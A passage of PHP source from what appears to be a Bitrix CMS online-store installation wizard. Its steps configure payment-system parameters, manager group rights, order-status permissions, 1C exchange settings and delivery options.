$dbPaySystem = CSalePaySystem::GetList(Array("SORT"=>"ASC"), Array("ACTIVE" => "Y", "LID" => $siteID));
while($arPaySystem = $dbPaySystem->Fetch())
{
$arPaySystems[$arPaySystem["ID"]] = $arPaySystem["NAME"];
}
$dbPersonType = CSalePersonType::GetList(Array("SORT"=>"ASC"), Array("ACTIVE" => "Y", "LID" => $siteID));
while($arPersonType = $dbPersonType->GetNext())
{
$arPersons[$arPersonType["ID"]] = $arPersonType["NAME"];
}
$this->content .= GetMessage("WW_STEP3_1")."<br />";
foreach($personType as $v1)
{
$this->content .= "<b>".$arPersons[$v1]."</b><br />";
foreach($arPaySystems as $k => $v)
{
$this->content .= $this->ShowCheckboxField("paySystem[".$v1."][]", $k, Array("id" => $v1."_".$k))." <label for=\"".$v1."_".$k."\">".htmlspecialcharsEx($v)."</label><br />";
}
$this->content .= "<br />";
}
}
}
class Step4 extends CWizardStep
{
function InitStep()
{
$this->SetTitle(GetMessage("WW_STEP4"));
$this->SetPrevStep("step3");
$this->SetNextStep("step5");
$this->SetStepID("step4");
$this->SetFinishStep("install");
$this->SetCancelStep("cancel");
$paySystem = Array();
$personType = Array();
$wizard = &$this->GetWizard();
$paySystem = $wizard->GetVar("paySystem");
$personType = $wizard->GetVar("personType");
CModule::IncludeModule("sale");
if(empty($paySystem))
$paySystem = Array();
foreach($paySystem as $k => $v)
{
if(!empty($v))
{
foreach($v as $v1)
{
$dbPaySystemAction = CSalePaySystemAction::GetList(
array("NAME" => "ASC"),
array("PAY_SYSTEM_ID" => $v1, "PERSON_TYPE_ID" => $k)
);
if($arPaySystemAction = $dbPaySystemAction -> Fetch())
{
$defVars["paySystemPopup"][$v1][$k] = $arPaySystemAction["NEW_WINDOW"];
$arCorrespondence = CSalePaySystemAction::UnSerializeParams($arPaySystemAction["PARAMS"]);
foreach ($arCorrespondence as $key => $value)
{
$defVars[$v1."_".$key."_".$k] = $value["TYPE"];
if(strlen($value["TYPE"]) > 0)
$defVars["VALUE1_".$v1."_".$key."_".$k] = str_replace("'", "\'", $value["VALUE"]);
else
$defVars["VALUE2_".$v1."_".$key."_".$k] = str_replace("'", "\'", $value["VALUE"]);
}
}
}
}
}
$wizard->SetDefaultVars($defVars);
}
function OnPostForm()
{
$wizard = &$this->GetWizard();
$varNames = $wizard->GetVar("stamp_img");
if (is_array($varNames))
{
foreach($varNames as $varName)
{
$imgID = $this->SaveFile($varName."_img");
if(IntVal($imgID)>0)
$wizard->SetVar($varName, CFile::GetPath($imgID));
else
$wizard->SetVar($varName, $wizard->GetDefaultVar($varName));
}
}
}
function ShowStep()
{
$wizard = &$this->GetWizard();
$paySystem = $wizard->GetVar("paySystem");
$siteID = $wizard->GetVar("siteID");
$personType = $wizard->GetVar("personType");
CModule::IncludeModule("sale");
function LocalGetPSActionParams($fileName)
{
$arPSCorrespondence = array();
if (file_exists($fileName) && is_file($fileName))
include($fileName);
return $arPSCorrespondence;
}
$dbPaySystem = CSalePaySystem::GetList(Array("SORT"=>"ASC"), Array("ACTIVE" => "Y", "LID" => $siteID));
while($arPaySystem = $dbPaySystem->GetNext())
{
$arPaySystems[$arPaySystem["ID"]] = $arPaySystem["NAME"];
}
$dbPersonType = CSalePersonType::GetList(Array("SORT"=>"ASC"), Array("ACTIVE" => "Y", "LID" => $siteID));
while($arPersonType = $dbPersonType->GetNext())
{
$arPersons[$arPersonType["ID"]] = $arPersonType["NAME"];
}
$arFieldsList["USER"] = Array(
"ID" => GetMessage("SPS_USER_ID"),
"LOGIN" => GetMessage("SPS_USER_LOGIN"),
"NAME" => GetMessage("SPS_USER_NAME"),
"LAST_NAME" => GetMessage("SPS_USER_LAST_NAME"),
"EMAIL" => "EMail",
"LID" => GetMessage("SPS_USER_SITE"),
"PERSONAL_PROFESSION" => GetMessage("SPS_USER_PROF"),
"PERSONAL_WWW" => GetMessage("SPS_USER_WEB"),
"PERSONAL_ICQ" => GetMessage("SPS_USER_ICQ"),
"PERSONAL_GENDER" => GetMessage("SPS_USER_SEX"),
"PERSONAL_FAX" => GetMessage("SPS_USER_FAX"),
"PERSONAL_MOBILE" => GetMessage("SPS_USER_PHONE"),
"PERSONAL_STREET" => GetMessage("SPS_USER_ADDRESS"),
"PERSONAL_MAILBOX" => GetMessage("SPS_USER_POST"),
"PERSONAL_CITY" => GetMessage("SPS_USER_CITY"),
"PERSONAL_STATE" => GetMessage("SPS_USER_STATE"),
"PERSONAL_ZIP" => GetMessage("SPS_USER_ZIP"),
"PERSONAL_COUNTRY" => GetMessage("SPS_USER_COUNTRY"),
"WORK_COMPANY" => GetMessage("SPS_USER_COMPANY"),
"WORK_DEPARTMENT" => GetMessage("SPS_USER_DEPT"),
"WORK_POSITION" => GetMessage("SPS_USER_DOL"),
"WORK_WWW" => GetMessage("SPS_USER_COM_WEB"),
"WORK_PHONE" => GetMessage("SPS_USER_COM_PHONE"),
"WORK_FAX" => GetMessage("SPS_USER_COM_FAX"),
"WORK_STREET" => GetMessage("SPS_USER_COM_ADDRESS"),
"WORK_MAILBOX" => GetMessage("SPS_USER_COM_POST"),
"WORK_CITY" => GetMessage("SPS_USER_COM_CITY"),
"WORK_STATE" => GetMessage("SPS_USER_COM_STATE"),
"WORK_ZIP" => GetMessage("SPS_USER_COM_ZIP"),
"WORK_COUNTRY" => GetMessage("SPS_USER_COM_COUNTRY"),
);
$arFieldsList["ORDER"] = Array(
"ID" => GetMessage("SPS_ORDER_ID"),
"DATE_INSERT" => GetMessage("SPS_ORDER_DATETIME"),
"DATE_INSERT_DATE" => GetMessage("SPS_ORDER_DATE"),
"SHOULD_PAY" => GetMessage("SPS_ORDER_PRICE"),
"CURRENCY" => GetMessage("SPS_ORDER_CURRENCY"),
"PRICE" => GetMessage("SPS_ORDER_SUM"),
"LID" => GetMessage("SPS_ORDER_SITE"),
"PRICE_DELIVERY" => GetMessage("SPS_ORDER_PRICE_DELIV"),
"DISCOUNT_VALUE" => GetMessage("SPS_ORDER_DESCOUNT"),
"USER_ID" => GetMessage("SPS_ORDER_USER_ID"),
"PAY_SYSTEM_ID" => GetMessage("SPS_ORDER_PS"),
"DELIVERY_ID" => GetMessage("SPS_ORDER_DELIV"),
"TAX_VALUE" => GetMessage("SPS_ORDER_TAX"),
);
foreach($personType as $personID)
{
$dbOrderProps = CSaleOrderProps::GetList(
array("SORT" => "ASC", "NAME" => "ASC"),
array("PERSON_TYPE_ID" => $personID),
false,
false,
array("ID", "CODE", "NAME", "TYPE", "SORT", "PERSON_TYPE_ID")
);
while ($arOrderProps = $dbOrderProps->GetNext())
{
$arFieldsList["PROPERTY"][$arOrderProps["PERSON_TYPE_ID"]][((strlen($arOrderProps["CODE"])>0) ? $arOrderProps["CODE"] : $arOrderProps["ID"])] = $arOrderProps["NAME"];
if ($arOrderProps["TYPE"] == "LOCATION")
{
$arFieldsList["PROPERTY"][$arOrderProps["PERSON_TYPE_ID"]][((strlen($arOrderProps["CODE"])>0) ? $arOrderProps["CODE"] : $arOrderProps["ID"])."_COUNTRY"] = $arOrderProps["NAME"]." (".GetMessage("SPS_JCOUNTRY").")";
$arFieldsList["PROPERTY"][$arOrderProps["PERSON_TYPE_ID"]][((strlen($arOrderProps["CODE"])>0) ? $arOrderProps["CODE"] : $arOrderProps["ID"])."_CITY"] = $arOrderProps["NAME"]." (".GetMessage("SPS_JCITY").")";
}
}
}
?>
<script type="text/javascript">
var arUserFieldsList = new Array();
var arUserFieldsNameList = new Array();
var arOrderFieldsList = new Array();
var arOrderFieldsNameList = new Array();
var arPropFieldsList = new Array();
var arPropFieldsNameList = new Array();
<?
$i = -1;
foreach($arFieldsList["USER"] as $k => $v)
{
$i++;
?>
arUserFieldsList[<?=$i?>] = "<?=$k?>";
arUserFieldsNameList[<?=$i?>] = "<?=$v?>";
<?
}
$i = -1;
foreach($arFieldsList["ORDER"] as $k => $v)
{
$i++;
?>
arOrderFieldsList[<?=$i?>] = "<?=$k?>";
arOrderFieldsNameList[<?=$i?>] = "<?=$v?>";
<?
}
$i = -1;
foreach($arFieldsList["PROPERTY"] as $k => $v)
{
?>
arPropFieldsList[<?=$k?>] = new Array();
arPropFieldsNameList[<?=$k?>] = new Array();
<?
foreach($v as $k1 => $v1)
{
$i++;
?>
arPropFieldsList[<?=$k?>][<?=$i?>] = "<?=$k1?>";
arPropFieldsNameList[<?=$k?>][<?=$i?>] = "<?=$v1?>";
<?
}
}
?>
function changeVariantList(id, value, ind)
{
var oValue1 = document.getElementById("VALUE1_" + id);
var oValue2 = document.getElementById("VALUE2_" + id);
var value1_length = oValue1.length;
while (value1_length > 0)
{
value1_length--;
oValue1.options[value1_length] = null;
}
value1_length = 0;
if (value == "USER")
{
oValue2.style["display"] = "none";
oValue1.style["display"] = "block";
for (i = 0; i < arUserFieldsList.length; i++)
{
var newoption = new Option(arUserFieldsNameList[i], arUserFieldsList[i], false, false);
oValue1.options[value1_length] = newoption;
value1_length++;
}
}
else
{
if (value == "ORDER")
{
oValue2.style["display"] = "none";
oValue1.style["display"] = "block";
for (i = 0; i < arOrderFieldsList.length; i++)
{
var newoption = new Option(arOrderFieldsNameList[i], arOrderFieldsList[i], false, false);
oValue1.options[value1_length] = newoption;
value1_length++;
}
}
else
{
if (value == "PROPERTY")
{
oValue2.style["display"] = "none";
oValue1.style["display"] = "block";
for (i = 0; i < arPropFieldsList[ind].length; i++)
{
var newoption = new Option(arPropFieldsNameList[ind][i], arPropFieldsList[ind][i], false, false);
oValue1.options[value1_length] = newoption;
value1_length++;
}
}
else
{
oValue1.style["display"] = "none";
oValue2.style["display"] = "block";
oValue2.value = "";
}
}
}
}
function ShowSet(id, action)
{
if(action == "show")
{
document.getElementById(id).style['display'] = "block";
document.getElementById(id+"-set").style['display'] = "none";
document.getElementById(id+"-unset").style['display'] = "block";
}
else if(action == "hide")
{
document.getElementById(id).style['display'] = "none";
document.getElementById(id+"-set").style['display'] = "block";
document.getElementById(id+"-unset").style['display'] = "none";
}
}
</script>
<?
$this->content .= GetMessage("WW_STEP4_1")."<br /><br />";
$wizard = &$this->GetWizard();
foreach($paySystem as $k => $v)
{
if(in_array($k, $personType))
{
foreach($v as $v1)
{
$dbPaySystemAction = CSalePaySystemAction::GetList(
array("NAME" => "ASC"),
array("PAY_SYSTEM_ID" => $v1)
);
if($arPaySystemAction = $dbPaySystemAction -> Fetch())
{
$adit = Array();
$this->content .= "<b>".$arPaySystems[$v1]."</b> - ".$arPersons[$k]."<br />";
$arPSCorrespondence = LocalGetPSActionParams($_SERVER["DOCUMENT_ROOT"].$arPaySystemAction["ACTION_FILE"]."/.description.php");
$this->content .= "<div id=\"".$v1."-".$k."-set\"><a href=\"javascript:ShowSet('".$v1."-".$k."', 'show')\">".GetMessage("WW_STEP4_2")."</a></div>";
$this->content .= "<div id=\"".$v1."-".$k."-unset\" style=\"display:none;\"><a href=\"javascript:ShowSet('".$v1."-".$k."', 'hide')\">".GetMessage("WW_STEP4_3")."</a></div>";
$this->content .= "<div id=\"".$v1."-".$k."\" style=\"display: none;\">";
$this->content .= "<link rel=\"stylesheet\" type=\"text/css\" href=\"/bitrix/wizards/bitrix/sale.install/styles.css\">";
$this->content .= "<table class=\"data-table\">";
$this->content .= "<tr><th>".GetMessage("WW_STEP4_4")."</th><td>".$this->ShowCheckboxField("paySystemPopup[".$v1."][".$k."]", "Y")."</td></tr>";
foreach($arPSCorrespondence as $k2 => $v2)
{
$arFList = Array();
$this->content .= "<tr><th>";
$this->content .= $v2["NAME"]."<br /><small>".$v2["DESCR"]."</small>";
$this->content .= "</th><td>";
$arTypes = Array("PROPERTY" => GetMessage("WW_STEP4_5"), "ORDER" => GetMessage("WW_STEP4_6"), "USER" => GetMessage("WW_STEP4_7"), ""=> GetMessage("WW_STEP4_8"));
$this->content .= $this->ShowSelectField($v1."_".$k2."_".$k, $arTypes, Array("onChange" => "changeVariantList('".$v1."_".$k2."_".$k."', this.value, '".$k."')", "id" => $v1."_".$k2."_".$k));
${$v1."_".$k2."_".$k} = $wizard->GetVar($v1."_".$k2."_".$k, true);
$this->content .= "<br />";
if(strlen(${$v1."_".$k2."_".$k})>0)
{
if(${$v1."_".$k2."_".$k} == "PROPERTY")
$arFList = $arFieldsList["PROPERTY"][$k];
else
$arFList = $arFieldsList[${$v1."_".$k2."_".$k}];
$this->content .= $this->ShowSelectField("VALUE1_".$v1."_".$k2."_".$k, $arFList, Array("id" => "VALUE1_".$v1."_".$k2."_".$k));
$this->content .= $this->ShowInputField("text", "VALUE2_".$v1."_".$k2."_".$k, Array("id" => "VALUE2_".$v1."_".$k2."_".$k, "style" => "display:none;", "size" => "20"));
}
else
{
$this->content .= $this->ShowSelectField("VALUE1_".$v1."_".$k2."_".$k, Array(), Array("id" => "VALUE1_".$v1."_".$k2."_".$k, "style" => "display:none;"));
if($k2 == "PATH_TO_STAMP")
{
$this->content .= $this->ShowHiddenField("stamp_img[]", "VALUE2_".$v1."_".$k2."_".$k);
$this->content .= $this->ShowFileField("VALUE2_".$v1."_".$k2."_".$k."_img", Array("id" => "VALUE2_".$v1."_".$k2."_".$k, "size" => "20"));
$img = $wizard->GetVar("VALUE2_".$v1."_".$k2."_".$k, true);
if(strlen($img)>0)
{
$this->content .= "<br />".CFile::ShowImage($img, 50, 50, "border=\"0\"", "", true)."<br />";
}
}
else
$this->content .= $this->ShowInputField("text", "VALUE2_".$v1."_".$k2."_".$k, Array("id" => "VALUE2_".$v1."_".$k2."_".$k, "size" => "20"));
}
$this->content .= "</td></tr>";
}
$this->content .= "</table></div><br />";
}
}
}
}
}
}
class Step5 extends CWizardStep
{
function InitStep()
{
$this->SetTitle(GetMessage("WW_STEP5"));
$this->SetSubTitle("");
$this->SetPrevStep("step4");
$this->SetNextStep("step6");
$this->SetStepID("step5");
$this->SetFinishStep("install");
$this->SetCancelStep("cancel");
$wizard = &$this->GetWizard();
$dbSaleManagerGroups = $GLOBALS["APPLICATION"]->GetGroupRightList(array("MODULE_ID" => "sale", "G_ACCESS" => "U"));
while ($arSaleManagerGroup = $dbSaleManagerGroups->Fetch())
$defVars["groupID"][] = IntVal($arSaleManagerGroup["GROUP_ID"]);
$wizard->SetDefaultVars($defVars);
}
function OnPostForm()
{
$wizard = &$this->GetWizard();
if ($wizard->IsNextButtonClick() || $wizard->IsFinishButtonClick())
{
$groupID = $wizard->GetVar("groupID");
if (empty($groupID))
{
$this->SetError(GetMessage("WW_STEP5_1")."!!!", "groupID[]");
}
}
if ($wizard->IsPrevButtonClick())
{
$paySystem = $wizard->GetVar("paySystem");
$personType = $wizard->GetVar("personType");
$bFound = false;
foreach($personType as $v)
{
if(!empty($paySystem[$v]))
$bFound = true;
}
if(!$bFound)
$wizard->SetCurrentStep("step3");
}
}
function ShowStep()
{
$dbUGroup = CGroup::GetList($b="c_sort", $o="ASC", Array("ACTIVE" => "Y"));
while($arUGroup = $dbUGroup->Fetch())
{
if(!in_array($arUGroup["ID"], Array(1, 2)))
$arGroups[$arUGroup["ID"]] = $arUGroup["NAME"];
}
$this->content .= GetMessage("WW_STEP5_2")."<br />".$this->ShowSelectField("groupID[]", $arGroups, Array("multiple" => "multiple", "size" => "6"));
}
}
class Step6 extends CWizardStep
{
function InitStep()
{
$groupID = Array();
$this->SetTitle(GetMessage("WW_STEP6"));
$this->SetSubTitle("");
$this->SetNextStep("step7");
$this->SetPrevStep("step5");
$this->SetFinishStep("final");
$this->SetStepID("step6");
$this->SetCancelStep("final");
$wizard = &$this->GetWizard();
$siteID = $wizard->GetVar("siteID");
$groupID = $wizard->GetVar("groupID");
if(empty($groupID))
$groupID = Array();
$arPermType = Array("PERM_VIEW", "PERM_CANCEL", "PERM_MARK", "PERM_DEDUCTION", "PERM_DELIVERY", "PERM_PAYMENT", "PERM_STATUS", "PERM_STATUS_FROM", "PERM_UPDATE", "PERM_DELETE");
//$dbStatus = CSaleStatus::GetList(Array("SORT" => "ASC"), Array("LID" => $siteID), false, false, array("ID", "SORT", "LID", "NAME", "DESCRIPTION"));
$dbStatus = CSaleStatus::GetList(Array("SORT" => "ASC"), Array(), false, false, array("ID", "SORT", "LID", "NAME", "DESCRIPTION"));
while($arStatus = $dbStatus ->Fetch())
{
foreach($groupID as $gr)
{
$dbPermsMatrix = CSaleStatus::GetPermissionsList(array(), array("STATUS_ID" => $arStatus["ID"], "GROUP_ID" => $gr), false, false, array());
while ($arPM = $dbPermsMatrix->Fetch())
{
foreach($arPermType as $perm)
{
$defVars["perm[".$arStatus["ID"]."][".$arPM["GROUP_ID"]."][".$perm."]"] = $arPM[$perm];
}
}
}
}
$wizard->SetDefaultVars($defVars);
}
function ShowStep()
{
CModule::IncludeModule("sale");
$wizard = &$this->GetWizard();
$groupID = $wizard->GetVar("groupID");
$siteID = $wizard->GetVar("siteID");
$arGr = Array();
$dbUGroup = CGroup::GetList($b="c_sort", $o="ASC", Array("ACTIVE" => "Y"));
while($arUGroup = $dbUGroup->Fetch())
$arGroups[$arUGroup["ID"]] = $arUGroup["NAME"];
$arPermType = Array("PERM_VIEW", "PERM_CANCEL", "PERM_MARK", "PERM_DEDUCTION", "PERM_DELIVERY", "PERM_PAYMENT", "PERM_STATUS", "PERM_STATUS_FROM", "PERM_UPDATE", "PERM_DELETE");
if(!empty($groupID))
{
foreach($groupID as $v)
{
$perm = $GLOBALS["APPLICATION"]->GetGroupRight("sale", $v);
if($v != 1 && $v != 2 && $perm != "W")
$arGr[] = $v;
}
}
//$dbStatus = CSaleStatus::GetList(Array("SORT" => "ASC"), Array("LID" => $siteID), false, false, array("ID", "SORT", "LID", "NAME", "DESCRIPTION"));
$dbStatus = CSaleStatus::GetList(Array("SORT" => "ASC"), Array(), false, false, array("ID", "SORT", "LID", "NAME", "DESCRIPTION"));
$this->content .= GetMessage("WW_STEP6_1")."<br /><br />";
while($arStatus = $dbStatus ->GetNext())
{
$this->content .= "<b>".$arStatus["NAME"]."</b>";
$this->content .= "<link rel=\"stylesheet\" type=\"text/css\" href=\"/bitrix/wizards/bitrix/sale.install/styles.css\">";
$this->content .= "<table class=\"data-table\">";
$this->content .= "<tr>";
$this->content .= "<th>".GetMessage("WW_STEP6_2")."</th>";
foreach($arGr as $v)
{
$this->content .= "<th>".$arGroups[$v]."</th>";
}
$this->content .= "</tr>";
foreach($arPermType as $v)
{
$this->content .= "<tr>";
$this->content .= "<th>".GetMessage("SSEN_".$v)."</th>";
foreach($arGr as $v1)
{
$this->content .= "<td>".$this->ShowCheckboxField("perm[".$arStatus["ID"]."][".$v1."][".$v."]", "Y")."</td>";
}
$this->content .= "</tr>";
}
$this->content .= "</table><br /><br />";
}
}
}
class Step7 extends CWizardStep
{
function InitStep()
{
$this->SetTitle(GetMessage("WW_STEP7_5"));
$this->SetSubTitle("");
$this->SetNextStep("step8");
$this->SetPrevStep("step6");
$this->SetStepID("step7");
$this->SetFinishStep("install");
$this->SetCancelStep("cancel");
$wizard = &$this->GetWizard();
$defVars = array(
"1C_GROUP_PERMISSIONS" => explode(",", COption::GetOptionString("catalog", "1C_GROUP_PERMISSIONS")),
"1C_ELEMENT_ACTION" => COption::GetOptionString("catalog", "1C_ELEMENT_ACTION", "D"),
"1C_SECTION_ACTION" => COption::GetOptionString("catalog", "1C_SECTION_ACTION", "D"),
"1C_INTERVAL" => COption::GetOptionString("catalog", "1C_INTERVAL", "30"),
"1C_FILE_SIZE_LIMIT" => COption::GetOptionString("catalog", "1C_FILE_SIZE_LIMIT", 200*1024),
"1C_EXPORT_PAYED_ORDERS" => COption::GetOptionString("sale", "1C_EXPORT_PAYED_ORDERS"),
"1C_EXPORT_ALLOW_DELIVERY_ORDERS" => COption::GetOptionString("sale", "1C_EXPORT_ALLOW_DELIVERY_ORDERS"),
"1C_EXPORT_FINAL_ORDERS" => COption::GetOptionString("sale", "1C_EXPORT_FINAL_ORDERS"),
"1C_FINAL_STATUS_ON_DELIVERY" => COption::GetOptionString("sale", "1C_FINAL_STATUS_ON_DELIVERY", "F")
);
$wizard->SetDefaultVars($defVars);
}
function OnPostForm()
{
$wizard = &$this->GetWizard();
if(LANGUAGE_ID == "en")
$wizard->SetCurrentStep("step8");
if ($wizard->IsNextButtonClick() || $wizard->IsFinishButtonClick())
{
$login = $wizard->GetVar("login");
$password = $wizard->GetVar("password");
$password_rep = $wizard->GetVar("password_rep");
$email = $wizard->GetVar("email");
if (strlen($login))
{
if($password != $password_rep)
$this->SetError(GetMessage("WW_STEP7_1"), "password");
if(strlen($password)<6)
$this->SetError(GetMessage("WW_STEP7_2"), "password");
if(strlen($login)<3)
$this->SetError(GetMessage("WW_STEP7_3"), "login");
if(strlen($email)<5)
$this->SetError(GetMessage("WW_STEP7_4"), "email");
}
}
}
function ShowStep()
{
CModule::IncludeModule("sale");
$wizard = &$this->GetWizard();
$siteID = $wizard->GetVar("siteID");
$arStatuses = Array("" => GetMessage("SALE_1C_NO"));
$dbStatus = CSaleStatus::GetList(Array("SORT" => "ASC"), Array("LID" => LANGUAGE_ID));
while ($arStatus = $dbStatus->Fetch())
{
$arStatuses[$arStatus["ID"]] = "[".$arStatus["ID"]."] ".$arStatus["NAME"];
}
$arUGroupsEx = Array();
$dbUGroups = CGroup::GetList($by = "c_sort", $order = "asc");
while($arUGroups = $dbUGroups -> Fetch())
{
$arUGroupsEx[$arUGroups["ID"]] = $arUGroups["NAME"];
}
$arAction = array(
"N" => GetMessage("CAT_1C_NONE"),
"A" => GetMessage("CAT_1C_DEACTIVATE"),
"D" => GetMessage("CAT_1C_DELETE"),
);
$arAllOptions = array(
array("1C_GROUP_PERMISSIONS", GetMessage("CAT_1C_GROUP_PERMISSIONS"), "-", Array("mlist", 5, $arUGroupsEx)),
array("1C_ELEMENT_ACTION", GetMessage("CAT_1C_ELEMENT_ACTION"), "D", Array("list", $arAction)),
array("1C_SECTION_ACTION", GetMessage("CAT_1C_SECTION_ACTION"), "D", Array("list", $arAction)),
array("1C_INTERVAL", GetMessage("CAT_1C_INTERVAL"), "30", Array("text", 20)),
array("1C_FILE_SIZE_LIMIT", GetMessage("CAT_1C_FILE_SIZE_LIMIT"), 200*1024, Array("text", 20)),
array("1C_EXPORT_PAYED_ORDERS", GetMessage("SALE_1C_EXPORT_PAYED_ORDERS"), "", Array("checkbox")),
array("1C_EXPORT_ALLOW_DELIVERY_ORDERS", GetMessage("SALE_1C_EXPORT_ALLOW_DELIVERY_ORDERS"), "", Array("checkbox")),
array("1C_EXPORT_FINAL_ORDERS", GetMessage("SALE_1C_EXPORT_FINAL_ORDERS"), "", Array("list", $arStatuses)),
array("1C_FINAL_STATUS_ON_DELIVERY", GetMessage("SALE_1C_FINAL_STATUS_ON_DELIVERY"), "F", Array("list", $arStatuses)),
);
$this->content = "<link rel=\"stylesheet\" type=\"text/css\" href=\"/bitrix/wizards/bitrix/sale.install/styles.css\">";
$this->content .= '<table class="data-table">';
$this->content .= "<tr><th>".GetMessage("WW_STEP7_6")."</th><td>".$this->ShowSelectField("orderWork", Array("site" => GetMessage("WW_STEP7_7"), "1c" => GetMessage("WW_STEP7_8")))."</td></tr>";
$this->content .= "<tr><th colspan=\"2\"><b>".GetMessage("WW_STEP7_9")."</b><br /><small>".GetMessage("WW_STEP7_10")."</small></th></tr>";
$this->content .= "<tr><th>".GetMessage("WW_STEP7_16")."</th><td>".$this->ShowSelectField("1C_GROUP_PERMISSIONS[]", $arUGroupsEx, Array("multiple" => "multiple", "size" => 5))."</td></tr>";
$this->content .= "<tr><th>".GetMessage("WW_STEP7_11")."<br /><small>".GetMessage("WW_STEP7_12")."</small></th><td>".$this->ShowInputField("text", "login", Array("size" => "20", "maxlength" => "255"))."</td></tr>";
$this->content .= "<tr><th>".GetMessage("WW_STEP7_13")."<br /><small>".GetMessage("WW_STEP7_14")."</small></th><td>".$this->ShowInputField("password", "password", Array("size" => "20", "maxlength" => "255"))."</td></tr>";
$this->content .= "<tr><th>".GetMessage("WW_STEP7_15")."</th><td>".$this->ShowInputField("password", "password_rep", Array("size" => "20", "maxlength" => "255"))."</td></tr>";
$this->content .= "<tr><th>Email</th><td>".$this->ShowInputField("text", "email", Array("size" => "20", "maxlength" => "255"))."</td></tr>";
$this->content .= "</table>";
}
}
class Step8 extends CWizardStep
{
function InitStep()
{
$this->SetTitle(GetMessage("WW_STEP8"));
$this->SetPrevStep("step7");
$this->SetNextStep("install");
$this->SetStepID("step8");
$this->SetFinishStep("install");
$this->SetCancelStep("cancel");
CModule::IncludeModule("sale");
$wizard = &$this->GetWizard();
$siteID = $wizard->GetVar("siteID");
$dbDelivery = CSaleDeliveryHandler::GetList(Array("SORT" => "ASC"), Array("SITE_ID" => $siteID, "ACTIVE" => "Y"));
while($arDelivery = $dbDelivery->Fetch())
{
$arDeliveries[] = $arDelivery["SID"]."_new";
}
$dbDelivery = CSaleDelivery::GetList(Array("SORT" => "ASC"), Array("LID" => $siteID, "ACTIVE" => "Y"));
while($arDelivery = $dbDelivery->Fetch())
{
$arDeliveries[] = $arDelivery["ID"];
}
$wizard->SetDefaultVars(
Array(
"delivery" => $arDeliveries,
"location" => COption::GetOptionInt("sale", "location", "", $siteID),
)
);
}
function OnPostForm()
{
}
function ShowStep()
{
$wizard = &$this->GetWizard();
$siteID = $wizard->GetVar("siteID", true);
CModule::IncludeModule("sale");
$arDeliveries = Array();
$dbDelivery = CSaleDeliveryHandler::GetList(Array("SORT" => "ASC"), Array("SITE_ID" => $siteID, "ACTIVE" => "Y"));
while($arDelivery = $dbDelivery->Fetch())
{
$arDeliveries[$arDelivery["SID"]."_new"] = $arDelivery["NAME"]." ".GetMessage("WW_STEP8_1");
}
$dbDelivery = CSaleDelivery::GetList(Array("SORT" => "ASC"), Array("LID" => $siteID, "ACTIVE" => "Y"));
while($arDelivery = $dbDelivery->Fetch())
{
$arDeliveries[$arDelivery["ID"]] = $arDelivery["NAME"];
}
$location = Array();
$dbLocationList = CSaleLocation::GetList(
array("SORT" => "ASC", "COUNTRY_NAME_LANG" => "ASC", "CITY_NAME_LANG" => "ASC"),
array("LID" => LANGUAGE_ID),
false,
false,
array()
);
while($arLocation = $dbLocationList->Fetch())
{
$location[$arLocation["ID"]] = $arLocation["COUNTRY_NAME"].(strlen($arLocation["CITY_NAME"]) > 0 ? " - ".$arLocation["CITY_NAME"] : "");
}
$this->content .= GetMessage("WW_STEP8_2")."<br />";
$this->content .= $this->ShowSelectField("location", $location);
$this->content .= "<br /><br />".GetMessage("WW_STEP8_3")."<br /><br />";
foreach($arDeliveries as $k => $v)
{
$this->content .= $this->ShowCheckboxField("delivery[]", $k, Array("id" => $k))." <label for=\"".$k."\">".htmlspecialcharsEx($v)."</label><br />";
}
}
}
class Install extends CWizardStep
{
function InitStep()
{
$this->SetTitle(GetMessage("WW_1"));
$this->SetStepID("install");
$this->SetCancelStep("cancel");
$this->SetNextStep("final");
$this->SetPrevStep("step8");
}
function OnPostForm()
{
$wizard = &$this->GetWizard();
if ($wizard->IsNextButtonClick())
{
$arResult = $wizard->GetVars(true);
COption::SetOptionString("sale", "order_email", $arResult["orderEmail"]);
COption::SetOptionString("sale", "delete_after", $arResult["saveBasket"]);
COption::SetOptionString("sale", "default_currency", $arResult["currencyID"]);
$arFields["LID"] = $arResult["siteID"];
$arFields["CURRENCY"] = $arResult["currencyID"];
CSaleLang::Update(
$arResult["siteID"],
Array(
"LID" => $arResult["siteID"],
"CURRENCY" => $arResult["currencyID"]
)
);
CSaleGroupAccessToSite::DeleteBySite($arResult["siteID"]);
foreach($arResult["groupID"] as $v)
{
CSaleGroupAccessToSite::Add(
array(
"SITE_ID" => $arResult["siteID"],
"GROUP_ID" => $v
)
);
}
if(!empty($arResult["1C_GROUP_PERMISSIONS"]))
COption::SetOptionString("catalog", "1C_GROUP_PERMISSIONS", implode(",", $arResult["1C_GROUP_PERMISSIONS"]));
COption::SetOptionString("catalog", "1C_ELEMENT_ACTION", $arResult["1C_ELEMENT_ACTION"]);
COption::SetOptionString("catalog", "1C_SECTION_ACTION", $arResult["1C_SECTION_ACTION"]);
COption::SetOptionString("catalog", "1C_INTERVAL", $arResult["1C_INTERVAL"]);
COption::SetOptionString("catalog", "1C_FILE_SIZE_LIMIT", $arResult["1C_FILE_SIZE_LIMIT"]);
COption::SetOptionString("catalog", "1C_SITE_LIST", $arResult["siteID"]);
if(!empty($arResult["1C_GROUP_PERMISSIONS"]))
COption::SetOptionString("sale", "1C_SALE_GROUP_PERMISSIONS", implode(",", $arResult["1C_GROUP_PERMISSIONS"]));
COption::SetOptionString("sale", "1C_EXPORT_PAYED_ORDERS", $arResult["1C_EXPORT_PAYED_ORDERS"]);
COption::SetOptionString("sale", "1C_EXPORT_ALLOW_DELIVERY_ORDERS", $arResult["1C_EXPORT_ALLOW_DELIVERY_ORDERS"]);
COption::SetOptionString("sale", "1C_EXPORT_FINAL_ORDERS", $arResult["1C_EXPORT_FINAL_ORDERS"]);
COption::SetOptionString("sale", "1C_FINAL_STATUS_ON_DELIVERY", $arResult["1C_FINAL_STATUS_ON_DELIVERY"]);
COption::SetOptionString("sale", "1C_SALE_SITE_LIST", $arResult["siteID"]);
foreach($arResult["groupID"] as $v)
{
$perm = $GLOBALS["APPLICATION"]->GetGroupRight("sale", $v);
if($perm != "W")
$GLOBALS["APPLICATION"]->SetGroupRight("sale", $v, "U");
}
$dbStatus = CSaleStatus::GetList(Array("SORT" => "ASC"), Array("LID" => $arResult["siteID"]), false, false, array("ID", "LID", "SORT"));
while($arStatus = $dbStatus ->Fetch())
{
$arPerms = Array();
foreach($arResult["groupID"] as $v)
{
$arPerms[] = array(
"GROUP_ID" => $v,
"PERM_VIEW" => ((
$arResult["perm"][$arStatus["ID"]][$v]["PERM_DELETE"] == "Y"
